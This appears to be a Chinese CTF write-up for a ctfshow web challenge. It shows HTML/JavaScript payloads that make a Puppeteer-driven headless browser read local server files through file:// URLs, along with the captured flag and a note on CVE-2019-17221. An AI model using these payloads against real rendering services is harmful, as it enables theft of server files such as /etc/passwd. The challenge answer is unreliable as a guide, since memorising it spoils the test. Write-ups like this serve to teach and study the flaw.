当前位置: 首页 > news >正文

ctfshow—web 36D杯 RemoteImageDownloader

RemoteImageDownloader wp

本地创建html文件,内容是

<script> var xhr = new XMLHttpRequest(); xhr.onload = function(){ document.body.innerText = xhr.responseText; } xhr.open("GET","file:///flag"); xhr.send(); </script>

本地cmd :scp传给服务器:scp 1.html ubuntu@ip:/home/ubuntu

进入服务器,把文件转移到可以访问的/var/www/html/目录:sudo mv 1.html /var/www/html/

进入题目,url输入 http://服务器ip/1.html

靶机会拉取html内容,解析其中js语句,访问本地服务器的/flag

然后flag内容生成页面,截图返回给本地

拿到flag

flag:ctfshow{5c4f53b9-2d9d-4ca9-afe3-4c7da0cc687b}

本题原理:Node.js + Puppeteer访问本地文件(无头 Chromium)

漏洞成因:Puppeteer 访问本地服务器文件

取决于 Chromium 启动参数:是否添加 --disable-file-system,

不加:网页 JS 可以请求 file://

加上:直接拦截file://请求

漏洞执行过程:

后端接收用户传入 URL,调用 Puppeteer page.goto(你自己的网页地址);
浏览器加载远程 HTML,执行页面内嵌 JS;
页面内 JS(XHR)发起 file:///flag 请求;
靶机 Chromium 启动参数未限制 file 协议访问,允许 HTTP 源页面内 AJAX 读取本地文件;
内容渲染在当前页面,程序等待渲染完成后截图返回图片。

exp

<script> var xhr = new XMLHttpRequest(); xhr.onload = function(){ document.body.innerText = xhr.responseText; } xhr.open("GET","file:///flag"); xhr.send(); </script>

与之相关的漏洞:CVE-2019-17221(puppeteer低版本,允许导航条跳转后访问本地文件)

依赖 Puppeteer 代码缺陷,低版本才存在;后续版本官方修复,即使不开启 --disable-file-system,跳转 file:// 也会被拦截。

PhantomJS 是旧的 WebKit 无头浏览器,早已停止维护;
CVE-2019-17221:Puppeteer < 1.19.0
漏洞原理标准描述:
攻击者可控传入 URL 给后端 page.goto(attacker_url);
攻击者网页内通过 JS 执行 window.location = "file:///etc/passwd";
旧版 Puppeteer 在导航跳转后依然允许访问 file://,从而读取服务器本地文件。

exp

exp <!DOCTYPE html> <html> <script> window.location.href="file:///flag"; </script> </html>
http://www.jsqmd.com/news/1265862/

相关文章:

  • DeepMind AI安全框架解析:大模型防护与优化实践
  • 上海靠谱的酵素产品生产线工厂:升级 - 品牌推广大师
  • Windows下Crypto++ 8.6配置与AES内存泄漏解决方案
  • C++类模板实战:从零实现动态数组MyArray,掌握深拷贝与内存管理
  • 可变形(柔性)匹配算法复现
  • 分享学习C语言代码思维和逻辑第四次记录
  • 解决Windows DCOM服务器进程CPU占用过高问题
  • 技术博客创作指南:如何构建合规的技术内容
  • Rust 里给模型抽帧的三种写法:shell-out ffmpeg、手写解码循环、还是进程内一行
  • TVA-World架构在工业质检领域的革命性突破(16)
  • WSL2部署OpenClaw NLP项目的完整实战指南
  • eBPF CO-RE技术解析与实践指南
  • 免费解锁macOS专业音频体验:eqMac让你的Mac音质提升300%
  • WebKit Insie: WebKit 调试(二)
  • AI论文检测与降AIGC率的实用技巧
  • 我有服务器之——自建DDNS
  • 深入理解C++异常处理:从RAII到异常安全的最佳实践
  • 【Java面试】——Java 基础与并发编程
  • Unity通用网络模块设计:三层架构与事件驱动实现稳定通信
  • ARM ETMv4寄存器深度解析:从CoreSight原理到嵌入式调试实战
  • 激光焊接设备怎么选?90%的人算漏三笔隐性成本
  • 本地LLM微调与RAG知识库构建实战指南
  • 2024年C/C++客户端开发实战指南:从环境搭建到面试进阶
  • 5分钟搞定GTNH汉化:让Minecraft硬核科技包秒变中文界面
  • 《数学少年-确定与不确定》(第四章:“骰子不骗人“)
  • AI医疗核心技术解析与应用实践
  • AI视频创作的常见错误与高效解决指南
  • 知识蒸馏技术解析:从原理到PyTorch实践完整指南
  • 研知有术论文辅导丨大论文的综述和综述小论文有什么区别?大论文的综述可以直接当小论文发吗?
  • Linux进程管理:父子进程与等待机制详解